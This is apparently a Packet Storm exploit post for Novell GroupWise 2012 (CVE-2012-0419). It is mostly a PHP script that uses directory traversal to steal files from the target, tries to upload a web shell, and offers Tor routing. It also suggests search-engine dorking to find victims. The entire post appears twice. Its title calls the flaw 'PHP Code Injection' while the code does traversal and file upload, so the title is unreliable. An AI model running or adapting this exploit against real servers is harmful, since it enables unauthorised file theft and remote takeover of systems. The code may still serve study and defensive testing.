5
/ 10
MEDIUM
AV:N/AC:L/Au:N/C:P/I:N/A:N
Description
This code exploits the directory traversal vulnerability in Novell GroupWise 2012 before Support Pack 1 to steal files, and attempts to upload a web shell payload if possible, making it an effective penetration testing tool...
Basic Information
ID
PACKETSTORM:215175
Published
Feb 9, 2026 at 00:00
Affected Product
Affected Versions
=============================================================================================================================================
| # Title : Novell GroupWise 2012 before Support Pack 1 PHP Code Injection Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits) |
| # Vendor : https://www.novell.com/ |
=============================================================================================================================================
POC :
[+] Dorking Δ°n Google Or Other Search Enggine.
[+] Code Description: This code exploits the Directory Traversal vulnerability in Novell GroupWise to steal files, and attempts to upload a Web Shell payload if possible, making it an effective penetration testing tool.
( https://packetstorm.news/files/id/181042/ CVE-2012-0419 )
[+] save code as poc.php.
[+] Set Target : line 124
[+] USage : php poc.php
[+] PayLoad :
<?php
class NovellGroupwiseExploit {
private $target;
private $port;
private $filePath;
private $depth;
private $proxy;
private $useTor;
private $osList = ['Windows', 'Linux', 'MacOS'];
public function __construct($target, $port = 7181, $filePath = '/windows/win.ini', $depth = 10, $proxy = null, $useTor = false) {
$this->target = $target;
$this->port = $port;
$this->filePath = $filePath;
$this->depth = $depth;
$this->proxy = $proxy;
$this->useTor = $useTor;
}
private function sendRequest($url, $postData = null) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
if ($this->proxy) {
curl_setopt($ch, CURLOPT_PROXY, $this->proxy);
}
if ($this->useTor) {
curl_setopt($ch, CURLOPT_PROXY, '127.0.0.1:9050');
curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
}
if ($postData) {
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
}
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
private function isGroupwise() {
$url = "http://{$this->target}:{$this->port}/";
$response = $this->sendRequest($url);
return strpos($response, 'GroupWise') !== false;
}
public function exploit() {
if (!$this->isGroupwise()) {
echo "[!] {$this->target}:{$this->port} - Not a GroupWise Agent HTTP Interface\n";
return;
}
foreach ($this->osList as $os) {
echo "[*] Checking for OS: $os\n";
}
$traversal = str_repeat("../", $this->depth) . ltrim($this->filePath, '/');
$url = "http://{$this->target}:{$this->port}/help/" . $traversal;
echo "[*] Sending request to $url ...\n";
$response = $this->sendRequest($url);
if ($response) {
$fileName = basename($this->filePath);
file_put_contents($fileName, $response);
echo "[+] File saved: $fileName\n";
} else {
echo "[!] Failed to retrieve file\n";
}
}
public function uploadPayload($payloadPath) {
$uploadUrl = "http://{$this->target}:{$this->port}/upload";
echo "[*] Attempting to upload payload to $uploadUrl ...\n";
$payload = file_get_contents($payloadPath);
if (!$payload) {
echo "[!] Failed to read payload file\n";
return;
}
$boundary = "----WebKitFormBoundary" . md5(time());
$data = "--$boundary\r\n";
$data .= "Content-Disposition: form-data; name=\"file\"; filename=\"" . basename($payloadPath) . "\"\r\n";
$data .= "Content-Type: application/octet-stream\r\n\r\n";
$data .= $payload . "\r\n";
$data .= "--$boundary--\r\n";
$headers = [
"Content-Type: multipart/form-data; boundary=$boundary"
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $uploadUrl);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
if ($this->proxy) {
curl_setopt($ch, CURLOPT_PROXY, $this->proxy);
}
if ($this->useTor) {
curl_setopt($ch, CURLOPT_PROXY, '127.0.0.1:9050');
curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
}
$result = curl_exec($ch);
curl_close($ch);
if ($result) {
echo "[+] Payload uploaded successfully!\n";
} else {
echo "[!] Failed to upload payload\n";
}
}
}
$target = '192.168.1.100'; // ΩΩ Ψ¨ΨͺΨΊΩΩΨ± Ψ§ΩΩΨ―Ω
$exploit = new NovellGroupwiseExploit($target, 7181, '/windows/win.ini', 10, 'http://127.0.0.1:8080', false);
$exploit->exploit();
// ΨͺΨ¬Ψ±Ψ¨Ψ© Ψ±ΩΨΉ ΨΩ ΩΩΨ©
$payloadPath = 'shell.php'; // ΩΩ Ψ¨ΨͺΨΊΩΩΨ± Ψ§Ψ³Ω Ψ§ΩΨΩ ΩΩΨ©
$exploit->uploadPayload($payloadPath);
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================
| # Title : Novell GroupWise 2012 before Support Pack 1 PHP Code Injection Vulnerability |
| # Author : indoushka |
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 135.0.1 (64 bits) |
| # Vendor : https://www.novell.com/ |
=============================================================================================================================================
POC :
[+] Dorking Δ°n Google Or Other Search Enggine.
[+] Code Description: This code exploits the Directory Traversal vulnerability in Novell GroupWise to steal files, and attempts to upload a Web Shell payload if possible, making it an effective penetration testing tool.
( https://packetstorm.news/files/id/181042/ CVE-2012-0419 )
[+] save code as poc.php.
[+] Set Target : line 124
[+] USage : php poc.php
[+] PayLoad :
<?php
class NovellGroupwiseExploit {
private $target;
private $port;
private $filePath;
private $depth;
private $proxy;
private $useTor;
private $osList = ['Windows', 'Linux', 'MacOS'];
public function __construct($target, $port = 7181, $filePath = '/windows/win.ini', $depth = 10, $proxy = null, $useTor = false) {
$this->target = $target;
$this->port = $port;
$this->filePath = $filePath;
$this->depth = $depth;
$this->proxy = $proxy;
$this->useTor = $useTor;
}
private function sendRequest($url, $postData = null) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
if ($this->proxy) {
curl_setopt($ch, CURLOPT_PROXY, $this->proxy);
}
if ($this->useTor) {
curl_setopt($ch, CURLOPT_PROXY, '127.0.0.1:9050');
curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
}
if ($postData) {
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postData);
}
$response = curl_exec($ch);
curl_close($ch);
return $response;
}
private function isGroupwise() {
$url = "http://{$this->target}:{$this->port}/";
$response = $this->sendRequest($url);
return strpos($response, 'GroupWise') !== false;
}
public function exploit() {
if (!$this->isGroupwise()) {
echo "[!] {$this->target}:{$this->port} - Not a GroupWise Agent HTTP Interface\n";
return;
}
foreach ($this->osList as $os) {
echo "[*] Checking for OS: $os\n";
}
$traversal = str_repeat("../", $this->depth) . ltrim($this->filePath, '/');
$url = "http://{$this->target}:{$this->port}/help/" . $traversal;
echo "[*] Sending request to $url ...\n";
$response = $this->sendRequest($url);
if ($response) {
$fileName = basename($this->filePath);
file_put_contents($fileName, $response);
echo "[+] File saved: $fileName\n";
} else {
echo "[!] Failed to retrieve file\n";
}
}
public function uploadPayload($payloadPath) {
$uploadUrl = "http://{$this->target}:{$this->port}/upload";
echo "[*] Attempting to upload payload to $uploadUrl ...\n";
$payload = file_get_contents($payloadPath);
if (!$payload) {
echo "[!] Failed to read payload file\n";
return;
}
$boundary = "----WebKitFormBoundary" . md5(time());
$data = "--$boundary\r\n";
$data .= "Content-Disposition: form-data; name=\"file\"; filename=\"" . basename($payloadPath) . "\"\r\n";
$data .= "Content-Type: application/octet-stream\r\n\r\n";
$data .= $payload . "\r\n";
$data .= "--$boundary--\r\n";
$headers = [
"Content-Type: multipart/form-data; boundary=$boundary"
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $uploadUrl);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
if ($this->proxy) {
curl_setopt($ch, CURLOPT_PROXY, $this->proxy);
}
if ($this->useTor) {
curl_setopt($ch, CURLOPT_PROXY, '127.0.0.1:9050');
curl_setopt($ch, CURLOPT_PROXYTYPE, CURLPROXY_SOCKS5);
}
$result = curl_exec($ch);
curl_close($ch);
if ($result) {
echo "[+] Payload uploaded successfully!\n";
} else {
echo "[!] Failed to upload payload\n";
}
}
}
$target = '192.168.1.100'; // ΩΩ Ψ¨ΨͺΨΊΩΩΨ± Ψ§ΩΩΨ―Ω
$exploit = new NovellGroupwiseExploit($target, 7181, '/windows/win.ini', 10, 'http://127.0.0.1:8080', false);
$exploit->exploit();
// ΨͺΨ¬Ψ±Ψ¨Ψ© Ψ±ΩΨΉ ΨΩ ΩΩΨ©
$payloadPath = 'shell.php'; // ΩΩ Ψ¨ΨͺΨΊΩΩΨ± Ψ§Ψ³Ω Ψ§ΩΨΩ ΩΩΨ©
$exploit->uploadPayload($payloadPath);
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================